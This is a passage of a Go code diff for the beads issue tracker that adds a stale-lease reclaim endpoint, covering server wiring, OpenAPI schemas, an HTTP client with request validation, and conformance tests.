@@ func Listen(cfg Config) (*Server, error) { // "all or nothing" would turn an honest condition into a special case inside // three functions. It is checked once, on its own, below. func sourceRoles(cfg Config) []any { - return []any{cfg.Reader, cfg.Claimer, cfg.ReadyClaimer, cfg.Releaser, cfg.Lifecycle, cfg.BatchCloser, cfg.Settings, cfg.Stats, cfg.CycleDetector, cfg.EdgeReader, cfg.GraphCounter, cfg.BatchGetter, cfg.Relations, cfg.Commenter, cfg.BlockingAnnotator, cfg.TreeWalker, cfg.ReadyCounter, cfg.Counter, cfg.Querier, cfg.Sweeper, cfg.Deleter, cfg.BatchCreator, cfg.DependencyEditor, cfg.BatchApplier, cfg.Memories, cfg.MetadataCAS} + return []any{cfg.Reader, cfg.Claimer, cfg.ReadyClaimer, cfg.Releaser, cfg.Lifecycle, cfg.BatchCloser, cfg.Settings, cfg.Stats, cfg.CycleDetector, cfg.EdgeReader, cfg.GraphCounter, cfg.BatchGetter, cfg.LeaseReclaimer, cfg.Relations, cfg.Commenter, cfg.BlockingAnnotator, cfg.TreeWalker, cfg.ReadyCounter, cfg.Counter, cfg.Querier, cfg.Sweeper, cfg.Deleter, cfg.BatchCreator, cfg.DependencyEditor, cfg.BatchApplier, cfg.Memories, cfg.MetadataCAS} } // roleSourceNames spells sourceRoles for the refusal message, in the same // order, so a caller reading the error learns the whole set it must pass. -const roleSourceNames = "Reader, Claimer, ReadyClaimer, Releaser, Lifecycle, BatchCloser, Settings, Stats, CycleDetector, EdgeReader, GraphCounter, BatchGetter, Relations, Commenter, BlockingAnnotator, TreeWalker, ReadyCounter, Counter, Querier, Sweeper, Deleter, BatchCreator, DependencyEditor, BatchApplier, Memories and MetadataCAS" +const roleSourceNames = "Reader, Claimer, ReadyClaimer, Releaser, Lifecycle, BatchCloser, Settings, Stats, CycleDetector, EdgeReader, GraphCounter, BatchGetter, LeaseReclaimer, Relations, Commenter, BlockingAnnotator, TreeWalker, ReadyCounter, Counter, Querier, Sweeper, Deleter, BatchCreator, DependencyEditor, BatchApplier, Memories and MetadataCAS" func anyRoleSet(cfg Config) bool { return slices.ContainsFunc(sourceRoles(cfg), func(r any) bool { return r != nil }) @@ -1151,6 +1159,19 @@ func (s *Server) batchGetter(r *http.Request) (issueops.BatchGetter, error) { return src.BatchGetter() } +// leaseReclaimer returns the stale-lease sweep surface for one request, on the +// same terms as every role above and held by INTERFACE so +// uow.LeaseReclaimerSource is load-bearing rather than decorative. It goes out +// unwrapped for the sweeper's reason: ReclaimResult is a VALUE whose slice a +// nil-safe range walks. +func (s *Server) leaseReclaimer(r *http.Request) (issueops.LeaseReclaimer, error) { + if s.provider == nil { + return s.issueReclaimer, nil + } + var src uow.LeaseReclaimerSource = timedProvider{inner: s.provider, rec: requestInfo(r.Context())} + return src.LeaseReclaimer() +} + // relations returns the single-anchor neighbor surface for one request, built // the same two ways as edgeReader above and held by INTERFACE so // uow.RelationsSource is load-bearing rather than decorative. diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 456693a41..0c087a175 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -63,7 +63,7 @@ info: outside its own parameter table with `400` / `code: invalid_argument` / `reason: "unknown_parameter"` and `param` naming the offending key. Operations that declare no QUERY parameter at all reject every query key - the same way. Today that is twenty-six of the forty-two operations + the same way. Today that is twenty-seven of the forty-three operations here — `GET /healthz`, `GET /v0/beads/context`, `GET /v0/beads/dependencies/cycles`, `POST /v0/beads/issues`, `PATCH /v0/beads/issues/{id}`, @@ -75,6 +75,7 @@ info: `POST /v0/beads/issues/{id}:casMetadata`, `POST /v0/beads/issues:sweep`, `POST /v0/beads/issues:delete`, `POST /v0/beads/issues:batchGet`, + `POST /v0/beads/issues:reclaim`, `POST /v0/beads/issues:batchCreate`, `POST /v0/beads/issues:batchApply`, `POST /v0/beads/issues:batchClose`, `GET /v0/beads/config`, @@ -3891,6 +3892,95 @@ paths: '503': $ref: '#/components/responses/Unavailable' + /v0/beads/issues:reclaim: + post: + operationId: reclaimIssues + summary: Revert stale leases back to ready + description: >- + Reverts every in-progress issue whose LEASE has gone stale back to + ready: the lease row is deleted, `status` becomes `open`, the assignee + and `started_at` are cleared, and a recovery event naming the former + holder is recorded. It is the operation behind `issueops.LeaseReclaimer` + and `bd reclaim`, and the caller it is for is a CLOCK — a supervisor + reaping the work of workers that died without releasing it — rather + than the worker that held the claim, which releases its own with + `POST /v0/beads/issues/{id}:release`. + + + A lease is stale when its expiry is more than `older_than_seconds` in + the past. A lease a worker is still heartbeating is never eligible, + whatever the request names. + + + ## Scope narrows, never widens + + + Every scope member narrows the sweep and they AND-combine: `ids`, + `assignees`, `labels` (all of them), `labels_any` (at least one) and + `exclude_labels` (none of them). A request with no scope member sweeps + every stale lease this server granted. `any_replica` is the one member + that WIDENS: it disarms the granting-replica guard, so a lease another + replica granted is reverted too. It is an operator escape hatch for a + replica that is gone for good, never a normal setting. + + + AN ID THAT IS NOT A STALE LEASE IS NOT AN ERROR. An id naming no row, or + a row whose lease is live, or a row nobody holds, is simply absent from + `reclaimed`; scoping by id narrows a sweep, it does not assert that + every named id was reclaimable. There is no `404` on this operation. + + + ## A new revision per reverted row + + + Every reverted row's `revision` is minted fresh by the revert, and each + entry of `reclaimed` carries it. A holder that wakes up after its lease + was reclaimed and writes with the revision its claim handed it gets + `412 precondition_failed`, so it cannot land over work another worker + may already have taken. + + + The whole sweep is ONE transaction. A lease a heartbeat rescues between + the snapshot that found it and its row's revert is skipped, not + reported. + + + Available when the server advertises the `issues.reclaim` capability. + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/ReclaimIssuesRequest' + security: + - bearerToken: [] + responses: + '200': + description: >- + The rows the sweep reverted, each with its former holder and its new + revision. An empty array (never null) when nothing was stale. + content: + application/json: + schema: + $ref: '#/components/schemas/ReclaimIssuesResult' + '400': + description: >- + Invalid request: an unparseable body, an unknown body member, a + missing or invalid `actor`, a negative or non-numeric + `older_than_seconds`, an `ids` carrying more than 1000 entries + (counted before deduplication), or a blank scope entry. + x-bd-codes: [invalid_argument] + content: + application/problem+json: + schema: + $ref: '#/components/schemas/Problem' + '401': + $ref: '#/components/responses/Unauthenticated' + '500': + $ref: '#/components/responses/InternalError' + '503': + $ref: '#/components/responses/Unavailable' + /v0/beads/issues:batchCreate: post: operationId: batchCreateIssues @@ -7930,7 +8020,7 @@ components: `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, - `issues.batchCreate`, + `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, @@ -8518,6 +8608,108 @@ components: items: type: string + ReclaimIssuesRequest: + type: object + additionalProperties: false + required: [actor] + description: >- + One sweep of stale leases. Every member but `actor` is optional, and + every scope member NARROWS the sweep; see the operation. + + + `additionalProperties: false`, so an unknown member is a `400` naming + the member — a narrowing term this server silently ignored would widen + what is reverted. + properties: + actor: + type: string + description: >- + Who ran the sweep. REQUIRED: each reverted row's recovery event and + history entry are attributed to it. Validated by the same rules as + the claim's `actor`. + older_than_seconds: + type: number + format: double + minimum: 0 + description: >- + The grace window past a lease's own expiry, in seconds (fractions + allowed): only a lease that expired more than this long ago is + eligible. Absent means `0`, every currently expired lease. A + negative value is refused. + ids: + type: array + maxItems: 1000 + description: >- + Only these issues are eligible. An id that is not currently a stale + lease is absent from the answer rather than refused. The cap is on + the REQUEST, counted before deduplication. A blank entry is + refused. + items: + type: string + assignees: + type: array + description: Only leases held by one of these owners are eligible. + items: + type: string + labels: + type: array + description: Only issues carrying ALL of these labels are eligible. + items: + type: string + labels_any: + type: array + description: Only issues carrying AT LEAST ONE of these labels are eligible. + items: + type: string + exclude_labels: + type: array + description: An issue carrying ANY of these labels is never eligible. + items: + type: string + any_replica: + type: boolean + description: >- + Also revert leases another replica granted. The one member that + WIDENS the sweep; see the operation. Absent means `false`. + + ReclaimIssuesResult: + type: object + required: [reclaimed] + description: >- + Every row the sweep reverted, in the order the sweep found them. + properties: + reclaimed: + type: array + description: >- + One entry per reverted row. Empty array (never null) when nothing + was stale in scope. + items: + $ref: '#/components/schemas/ReclaimedLease' + + ReclaimedLease: + type: object + description: One row a lease sweep reverted. + x-go-type: types.ReclaimedLease + x-go-type-import: + name: types + path: github.com/steveyegge/beads/internal/types + required: [id, previous_owner, revision] + properties: + id: + type: string + description: The reverted issue's id. + previous_owner: + type: string + description: >- + The assignee the stale lease was taken from; empty when the row + carried none. + revision: + type: string + description: >- + The row's NEW revision, minted by the revert: the + optimistic-concurrency token a guarded write after the reclaim + needs. A decimal string, like every `revision` on this surface. + SweepRequest: type: object additionalProperties: false diff --git a/internal/httpapi/spec_parity_test.go b/internal/httpapi/spec_parity_test.go index 3d9fb664d..3f7451ac1 100644 --- a/internal/httpapi/spec_parity_test.go +++ b/internal/httpapi/spec_parity_test.go @@ -420,11 +420,11 @@ func TestSpecDefaultsMatchSharedConstants(t *testing.T) { } } - // The id bound on the two request bodies that carry an `ids` list, for the - // anchor bound's reason: each is enforced in code — maxDeleteIDs in the - // delete handler, issueops.MaxGetManyIDs in the role behind batchGet — and - // restated as the member's maxItems, which is where a generated client - // learns it. Each body is reached through its operation's own $ref, so a + // The id bound on the three request bodies that carry an `ids` list, for + // the anchor bound's reason: each is enforced in code — maxDeleteIDs in the + // delete handler, issueops.MaxGetManyIDs in the role behind batchGet and + // issueops.MaxReclaimIDs in the role behind reclaim — and restated as the + // member's maxItems, which is where a generated client learns it. Each body is reached through its operation's own $ref, so a // row cannot go on checking a schema its operation stopped using. for _, tc := range []struct { opID string @@ -432,6 +432,7 @@ func TestSpecDefaultsMatchSharedConstants(t *testing.T) { }{ {OpBatchGetIssues, issueops.MaxGetManyIDs}, {OpDeleteIssues, maxDeleteIDs}, + {OpReclaimIssues, issueops.MaxReclaimIDs}, } { so, ok := ops[tc.opID] if !ok { diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index 1bff0651a..a9c50dec3 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -3894,6 +3894,85 @@ "required": true, "item_type": "object" }, + { + "schema": "ReclaimIssuesRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "ReclaimIssuesRequest", + "member": "any_replica", + "type": "boolean", + "required": false + }, + { + "schema": "ReclaimIssuesRequest", + "member": "assignees", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ReclaimIssuesRequest", + "member": "exclude_labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ReclaimIssuesRequest", + "member": "ids", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ReclaimIssuesRequest", + "member": "labels", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ReclaimIssuesRequest", + "member": "labels_any", + "type": "array", + "required": false, + "item_type": "string" + }, + { + "schema": "ReclaimIssuesRequest", + "member": "older_than_seconds", + "type": "number", + "format": "double", + "required": false + }, + { + "schema": "ReclaimIssuesResult", + "member": "reclaimed", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "ReclaimedLease", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "ReclaimedLease", + "member": "previous_owner", + "type": "string", + "required": true + }, + { + "schema": "ReclaimedLease", + "member": "revision", + "type": "string", + "required": true + }, { "schema": "Ref", "member": "id", @@ -6125,6 +6204,14 @@ "QueryPage": "response", "ReadyCount": "response", "ReadyPage": "response", + "ReclaimIssuesRequest": "request", + "ReclaimIssuesRequest.assignees[]": "request", + "ReclaimIssuesRequest.exclude_labels[]": "request", + "ReclaimIssuesRequest.ids[]": "request", + "ReclaimIssuesRequest.labels[]": "request", + "ReclaimIssuesRequest.labels_any[]": "request", + "ReclaimIssuesResult": "response", + "ReclaimedLease": "response", "Ref": "request", "RelatedIssues": "response", "ReleaseIssueRequest": "request", diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 8e8bc8be3..1f4e4a6ad 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -25,6 +25,7 @@ go_library( "dispatch.go", "errors.go", "journal.go", + "leasereclaimer.go", "lifecycle.go", "list_walk.go", "memories.go", @@ -135,6 +136,7 @@ go_test( "served_hooks_test.go", "served_issue_operations_test.go", "served_journal_test.go", + "served_lease_reclaimer_test.go", "served_lifecycle_create_test.go", "served_list_test.go", "served_memories_deps_test.go", diff --git a/internal/httpclient/accessors.go b/internal/httpclient/accessors.go index ee635ebd9..8a6298155 100644 --- a/internal/httpclient/accessors.go +++ b/internal/httpclient/accessors.go @@ -384,3 +384,12 @@ func (s *Store) BatchApplier() (issueops.BatchApplier, error) { func (s *Store) BatchGetter() (issueops.BatchGetter, error) { return &httpBatchGetter{store: s}, nil } + +// LeaseReclaimer serves reclaimIssues (POST /v0/beads/issues:reclaim) — the +// stale-lease sweep behind `bd reclaim`. Like BatchGetter it dials through the +// store directly rather than through roleWire: its request is one body with no +// path id, and Store.dispatch already preflights the capability and never +// retries a POST. See leasereclaimer.go. +func (s *Store) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + return &httpLeaseReclaimer{store: s}, nil +} diff --git a/internal/httpclient/encode/oracle_test.go b/internal/httpclient/encode/oracle_test.go index d127a83c4..f65bb152a 100644 --- a/internal/httpclient/encode/oracle_test.go +++ b/internal/httpclient/encode/oracle_test.go @@ -71,6 +71,7 @@ func startOracle(t *testing.T) *oracle { EdgeReader: stubEdges{}, GraphCounter: stubGraphCounter{}, BatchGetter: stubBatchGetter{}, + LeaseReclaimer: stubLeaseReclaimer{}, Relations: stubRelations{}, Commenter: stubCommenter{}, BlockingAnnotator: stubBlocking{}, @@ -270,6 +271,7 @@ type ( stubEdges struct{ issueops.EdgeReader } stubGraphCounter struct{ issueops.GraphCounter } stubBatchGetter struct{ issueops.BatchGetter } + stubLeaseReclaimer struct{ issueops.LeaseReclaimer } stubRelations struct{ issueops.Relations } stubCommenter struct{ issueops.Commenter } stubBlocking struct{ issueops.BlockingAnnotator } diff --git a/internal/httpclient/leasereclaimer.go b/internal/httpclient/leasereclaimer.go new file mode 100644 index 000000000..5630fb351 --- /dev/null +++ b/internal/httpclient/leasereclaimer.go @@ -0,0 +1,135 @@ +package httpclient + +import ( + "context" + "net/http" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// httpLeaseReclaimer is issueops.LeaseReclaimer over reclaimIssues (POST +// /v0/beads/issues:reclaim). +// +// THE MAPPING IS TOTAL: every member of ReclaimRequest has a wire member, so +// nothing here refuses on shape and the ledger carries no row for this +// operation. The grace window travels as fractional seconds (a float64), which +// is exact for the whole-second and millisecond windows a reaper uses; a +// nanosecond-precise window may round. +// +// THE REQUEST RULES ARE CHECKED BEFORE THE DIAL, in the order +// internal/storage/issueops.ValidateReclaimRequest applies them, for +// checkGetManyIDs' reason: the server maps every role validation onto one +// generic invalid_value problem, so a round trip could never hand this client +// back the exact *issueops.TooManyReclaimIDsError{Requested, Cap} the role's +// contract promises. The rules are restated here rather than imported, because +// that package is the storage engine's shared body and does not belong in a +// transport client. +// +// AN EMPTY SCOPE SLICE IS NOT SENT. The server refuses a PRESENT, empty scope +// member (it would read as "no scope", the widening hazard bd reclaim refuses +// on the CLI), and on the role an empty slice and a nil one are the same +// request: no scope. Omitting it says exactly that. +type httpLeaseReclaimer struct{ store *Store } + +var _ issueops.LeaseReclaimer = (*httpLeaseReclaimer)(nil) + +// Reclaim dials POST /v0/beads/issues:reclaim. +func (l *httpLeaseReclaimer) Reclaim(ctx context.Context, req issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + if err := validateReclaimRequest(req); err != nil { + return issueops.ReclaimResult{}, err + } + + body := apigen.ReclaimIssuesRequest{Actor: req.Actor} + if req.OlderThan > 0 { + seconds := req.OlderThan.Seconds() + body.OlderThanSeconds = &seconds + } + scope := func(values []string) *[]string { + if len(values) == 0 { + return nil + } + // COPIED, never aliased: the role promises never to write through a + // caller's request. + copied := append([]string(nil), values...) + return &copied + } + body.Ids = scope(req.Filter.IDs) + body.Assignees = scope(req.Filter.Assignees) + body.Labels = scope(req.Filter.Labels) + body.LabelsAny = scope(req.Filter.LabelsAny) + body.ExcludeLabels = scope(req.Filter.ExcludeLabels) + if req.Filter.AnyReplica { + anyReplica := true + body.AnyReplica = &anyReplica + } + + var out apigen.ReclaimIssuesResult + if err := l.store.dispatch(ctx, wire.Request{ + Op: wire.OpReclaimIssues, + Method: http.MethodPost, + Path: wire.PathIssuesReclaim, + Body: body, + }, &out); err != nil { + return issueops.ReclaimResult{}, err + } + + reclaimed := make([]issueops.ReclaimedLease, 0, len(out.Reclaimed)) + for _, entry := range out.Reclaimed { + // The revision is carried as the wire's decimal string, the role's own + // spelling; it is read here only to refuse an answer whose token no + // guarded write could use. + if _, err := parseRevision("LeaseReclaimer.Reclaim", entry.Revision); err != nil { + return issueops.ReclaimResult{}, err + } + reclaimed = append(reclaimed, entry) + } + return issueops.ReclaimResult{Reclaimed: reclaimed}, nil +} + +// validateReclaimRequest restates the role's refusals, in the role's order and +// with the role's types: the actor (present, then within its column once +// trimmed), the grace window, the id cap (counted as sent), the first blank +// id, then the first blank entry of the other scopes. +func validateReclaimRequest(req issueops.ReclaimRequest) error { + field := func(name, format string, args ...any) error { + return &issueops.ReclaimFieldError{Field: name, Detail: invalid(format, args...).Error()} + } + actor := strings.TrimSpace(req.Actor) + if actor == "" { + return field(issueops.ReclaimFieldActor, "reclaim actor is required") + } + if err := types.CheckFieldLen("actor", actor); err != nil { + return field(issueops.ReclaimFieldActor, "%v", err) + } + if req.OlderThan < 0 { + return field(issueops.ReclaimFieldOlderThan, "reclaim older_than must not be negative") + } + if len(req.Filter.IDs) > issueops.MaxReclaimIDs { + return &issueops.TooManyReclaimIDsError{Requested: len(req.Filter.IDs), Cap: issueops.MaxReclaimIDs} + } + for i, id := range req.Filter.IDs { + if id == "" { + return field(issueops.ReclaimFieldIDs, "reclaim scope id at position %d is empty", i) + } + } + for _, scope := range []struct { + name string + values []string + }{ + {issueops.ReclaimFieldAssignees, req.Filter.Assignees}, + {issueops.ReclaimFieldLabels, req.Filter.Labels}, + {issueops.ReclaimFieldLabelsAny, req.Filter.LabelsAny}, + {issueops.ReclaimFieldExcludeLabels, req.Filter.ExcludeLabels}, + } { + for i, v := range scope.values { + if strings.TrimSpace(v) == "" { + return field(scope.name, "reclaim %s entry at position %d is blank", scope.name, i) + } + } + } + return nil +} diff --git a/internal/httpclient/served_harness_test.go b/internal/httpclient/served_harness_test.go index 917335a2a..8fe00ca67 100644 --- a/internal/httpclient/served_harness_test.go +++ b/internal/httpclient/served_harness_test.go @@ -297,6 +297,8 @@ func serveConfig(t *testing.T, s storage.DoltStorage) httpapi.Config { fail("Memories") cfg.BatchGetter, err = s.BatchGetter() fail("BatchGetter") + cfg.LeaseReclaimer, err = s.LeaseReclaimer() + fail("LeaseReclaimer") // THE JOURNAL IS NOT AN ACCESSOR, alone among the roles above: it is reached // by TYPE ASSERTION, because it is not on storage.DoltStorage and a backend diff --git a/internal/httpclient/served_lease_reclaimer_test.go b/internal/httpclient/served_lease_reclaimer_test.go new file mode 100644 index 000000000..8b23af9e9 --- /dev/null +++ b/internal/httpclient/served_lease_reclaimer_test.go @@ -0,0 +1,111 @@ +//go:build cgo + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" +) + +// The LeaseReclaimer contract, run through the http client against a real bd +// serve. Nothing is parked: every member of ReclaimRequest has a wire member, +// and every refusal the role lists is raised before the dial in the role's own +// order (leasereclaimer.go). +// +// The claim that writes each lease goes over the wire too, through the client's +// Claimer; only the aging of a lease and the attaching of a label reach past +// the wire, into the embedded database behind the server, because no verb can +// make a lease stale on demand. +// +// THE HOOK CASE runs the reclaimer off a HookFiringStore wrapped around the +// client, the chain cmd/bd composes for a connected workspace: bd serve runs no +// hooks, so it is the CLIENT's decorator that owes one on_update per reverted +// row, re-reading each row over the wire to hand the script. +func newServedLeaseReclaimerFixture(t *testing.T, prefix string) conformance.LeaseReclaimerFixture { + t.Helper() + env := newServedEnv(t, prefix) + reclaimer, err := env.subject.LeaseReclaimer() + if err != nil { + t.Fatalf("LeaseReclaimer(): %v", err) + } + claimer, err := env.subject.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + runner, fired := conformance.NewUpdateHookLog(t) + hooked := reclaimer + if runner != nil { + if hooked, err = storage.NewHookFiringStore(env.subject, runner).LeaseReclaimer(); err != nil { + t.Fatalf("hooked LeaseReclaimer(): %v", err) + } + } + return conformance.LeaseReclaimerFixture{ + IssuePrefix: env.prefix, + LeaseReclaimer: reclaimer, + CreateIssue: env.createIssue, + Claimer: claimer, + Lifecycle: lifecycle, + Exec: env.exec, + QueryScalar: env.queryScalar, + HookedLeaseReclaimer: hooked, + FiredUpdates: fired, + } +} + +func TestServedLeaseReclaimerRevertsAStaleLease(t *testing.T) { + conformance.RunLeaseReclaimerRevertsAStaleLease(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr00")) +} + +func TestServedLeaseReclaimerMintsARevisionThatFencesTheFormerHolder(t *testing.T) { + conformance.RunLeaseReclaimerMintsARevisionThatFencesTheFormerHolder(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr01")) +} + +func TestServedLeaseReclaimerLeavesALiveLeaseAlone(t *testing.T) { + conformance.RunLeaseReclaimerLeavesALiveLeaseAlone(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr02")) +} + +func TestServedLeaseReclaimerHonorsTheGraceWindow(t *testing.T) { + conformance.RunLeaseReclaimerHonorsTheGraceWindow(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr03")) +} + +func TestServedLeaseReclaimerScopesToTheNamedIDs(t *testing.T) { + conformance.RunLeaseReclaimerScopesToTheNamedIDs(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr04")) +} + +func TestServedLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult(t *testing.T) { + conformance.RunLeaseReclaimerAnswersAnAbsentIDWithAnEmptyResult(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr05")) +} + +func TestServedLeaseReclaimerScopesToAssigneesAndLabels(t *testing.T) { + conformance.RunLeaseReclaimerScopesToAssigneesAndLabels(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr06")) +} + +func TestServedLeaseReclaimerAttributesTheRecoveryEvent(t *testing.T) { + conformance.RunLeaseReclaimerAttributesTheRecoveryEvent(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr07")) +} + +func TestServedLeaseReclaimerFiresOnUpdateOncePerReclaimedRow(t *testing.T) { + conformance.RunLeaseReclaimerFiresOnUpdateOncePerReclaimedRow(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr08")) +} + +func TestServedLeaseReclaimerRefusesAMalformedRequest(t *testing.T) { + conformance.RunLeaseReclaimerRefusesAMalformedRequest(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr09")) +} + +func TestServedLeaseReclaimerRefusesABlankScopeEntry(t *testing.T) { + conformance.RunLeaseReclaimerRefusesABlankScopeEntry(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr12")) +} + +func TestServedLeaseReclaimerAcceptsExactlyTheCap(t *testing.T) { + conformance.RunLeaseReclaimerAcceptsExactlyTheCap(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr10")) +} + +func TestServedLeaseReclaimerDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunLeaseReclaimerDoesNotMutateTheCallerRequest(t, t.Context(), newServedLeaseReclaimerFixture(t, "hlr11")) +} diff --git a/internal/httpclient/served_test.go b/internal/httpclient/served_test.go index 5037cb1f7..23b16b02e 100644 --- a/internal/httpclient/served_test.go +++ b/internal/httpclient/served_test.go @@ -240,6 +240,9 @@ func serveRoles(store storage.DoltStorage) (httpapi.Config, error) { if cfg.BatchGetter, err = store.BatchGetter(); err != nil { return cfg, err } + if cfg.LeaseReclaimer, err = store.LeaseReclaimer(); err != nil { + return cfg, err + } return cfg, nil } diff --git a/internal/httpclient/unsupported_gen.go b/internal/httpclient/unsupported_gen.go index 79e696c54..2e8cde872 100644 --- a/internal/httpclient/unsupported_gen.go +++ b/internal/httpclient/unsupported_gen.go @@ -742,4 +742,4 @@ func (unsupportedDoltStorage) VersionReconciler() (_ issueops.VersionReconciler, return } -// NOTE: partial shell (145 of 199 methods generated; 54 left to this package's hand-written set). +// NOTE: partial shell (145 of 200 methods generated; 55 left to this package's hand-written set). diff --git a/internal/httpclient/wave2b_roles_test.go b/internal/httpclient/wave2b_roles_test.go index 86c053aca..c64817ac1 100644 --- a/internal/httpclient/wave2b_roles_test.go +++ b/internal/httpclient/wave2b_roles_test.go @@ -8,8 +8,10 @@ import ( "reflect" "strings" "testing" + "time" "github.com/steveyegge/beads/internal/httpapi/apigen" + storeops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/workapi" "github.com/steveyegge/beads/issueops" @@ -542,3 +544,87 @@ func TestRelatedLeavesTheCallersTypesAlone(t *testing.T) { t.Errorf("the caller's Types changed across the call: %v, want %v", types_, snapshot) } } + +// TestReclaimValidationMatchesTheSharedValidator binds leasereclaimer.go's +// restated rules to internal/storage/issueops.ValidateReclaimRequest, for +// TestReleaseValidationMatchesTheSharedValidator's reason: a restated rule is +// how a leg drifts. It compares VERDICTS, and the cap's type, over a table that +// covers both sides of every rule. +func TestReclaimValidationMatchesTheSharedValidator(t *testing.T) { + overCap := make([]string, issueops.MaxReclaimIDs+1) + for name, req := range map[string]issueops.ReclaimRequest{ + "valid bare": {Actor: "reaper"}, + "valid scoped": {Actor: "reaper", OlderThan: time.Minute, Filter: issueops.ReclaimFilter{IDs: []string{"bd-1"}}}, + "no actor": {}, + "blank actor": {Actor: " "}, + "negative grace": {Actor: "reaper", OlderThan: -time.Second}, + "blank id": {Actor: "reaper", Filter: issueops.ReclaimFilter{IDs: []string{"bd-1", ""}}}, + "padded id is an id": {Actor: "reaper", Filter: issueops.ReclaimFilter{IDs: []string{" bd-1 "}}}, + "over the cap": {Actor: "reaper", Filter: issueops.ReclaimFilter{IDs: overCap}}, + "blank assignee": {Actor: "reaper", Filter: issueops.ReclaimFilter{Assignees: []string{" "}}}, + "blank label": {Actor: "reaper", Filter: issueops.ReclaimFilter{Labels: []string{"a", ""}}}, + "blank label-any": {Actor: "reaper", Filter: issueops.ReclaimFilter{LabelsAny: []string{"\t"}}}, + "blank exclude": {Actor: "reaper", Filter: issueops.ReclaimFilter{ExcludeLabels: []string{""}}}, + + // The actor is held to its column once trimmed, as the sweep records it. + "actor at the bound": {Actor: strings.Repeat("r", types.MaxFieldLen)}, + "padded actor at the bound": {Actor: " " + strings.Repeat("r", types.MaxFieldLen) + " "}, + "over-long actor": {Actor: strings.Repeat("r", types.MaxFieldLen+1)}, + } { + t.Run(name, func(t *testing.T) { + mine := validateReclaimRequest(req) + shared := storeops.ValidateReclaimRequest(req) + if (mine != nil) != (shared != nil) { + t.Fatalf("validateReclaimRequest = %v, storeops.ValidateReclaimRequest = %v: the client's restatement has drifted", mine, shared) + } + var mineCap, sharedCap *issueops.TooManyReclaimIDsError + if errors.As(mine, &mineCap) != errors.As(shared, &sharedCap) { + t.Fatalf("cap type differs: client %v, shared %v", mine, shared) + } + var mineField, sharedField *issueops.ReclaimFieldError + errors.As(mine, &mineField) + errors.As(shared, &sharedField) + if (mineField == nil) != (sharedField == nil) || (mineField != nil && mineField.Field != sharedField.Field) { + t.Fatalf("field differs: client %v, shared %v", mine, shared) + } + }) + } +} + +// TestReclaimSendsAnyReplicaOnlyWhenAsked pins the one filter member that +// WIDENS a sweep rather than narrowing it. ReclaimFilter.AnyReplica disarms the +// granting-replica guard, so a client that sent it unasked would revert leases +// another replica granted, and one that dropped it would keep the guard a caller +// had disarmed. Unasked it must be absent from the body; asked it must be true. +func TestReclaimSendsAnyReplicaOnlyWhenAsked(t *testing.T) { + for name, anyReplica := range map[string]bool{"unasked": false, "asked": true} { + t.Run(name, func(t *testing.T) { + store, w := recordingStore(t) + role, err := store.LeaseReclaimer() + if err != nil { + t.Fatalf("LeaseReclaimer(): %v", err) + } + if _, err := role.Reclaim(context.Background(), issueops.ReclaimRequest{ + Actor: "reaper", + Filter: issueops.ReclaimFilter{IDs: []string{"bd-1"}, AnyReplica: anyReplica}, + }); err != nil { + t.Fatalf("Reclaim(): %v", err) + } + if len(w.requests) != 1 { + t.Fatalf("dialed %d times, want 1", len(w.requests)) + } + body, ok := w.requests[0].Body.(apigen.ReclaimIssuesRequest) + if !ok { + t.Fatalf("the body is %T, want the generated ReclaimIssuesRequest", w.requests[0].Body) + } + switch { + case !anyReplica && body.AnyReplica != nil: + t.Errorf("an unasked sweep sent any_replica=%v; the guard must stay armed", *body.AnyReplica) + case anyReplica && body.AnyReplica == nil: + t.Error("a sweep that disarmed the replica guard sent no any_replica; the server would keep it armed") + case anyReplica && !*body.AnyReplica: + t.Error("a sweep that disarmed the replica guard sent any_replica=false, want true") + } + }) + } +} diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go 